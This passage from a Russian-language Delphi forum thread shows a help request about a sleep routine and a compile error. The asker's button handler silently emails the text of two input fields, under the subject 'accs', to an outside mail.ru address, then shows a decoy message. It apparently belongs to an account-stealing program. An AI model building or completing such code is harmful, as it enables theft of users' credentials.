Сообщение от
EndLeSSDre@M
сделай такую процедуру:
PHP код:
Procedure MySleep(Sec:Integer);
Var I:Integer;
Begin
For I:=1 to Sec do
begin
Sleep(1000);
Application.ProcessMessages;
end;
end;
потом в кнопке ссылайся на нее
MySleep(тут количество секунд);
Showmessage('Hello');
неа
пробую вот так
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='1;
IdSMTP1.Password:='1';
IdMessage1.Body.Text:=' '+memo1.Text+' ;'+memo3.Text;
IdMessage1.From.Text:='1@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='1@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
Sleep(10000); //ждём 10 сек
ShowMessage('ТУТ то что нод выводить');
Close;
end;
вылетает при компиляции
[Ошибка] Unit1.pas(76): Missing operator or semicolon
[Фатальная Ошибка] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
красная строка на Sleep(10000); //ждём 10 сек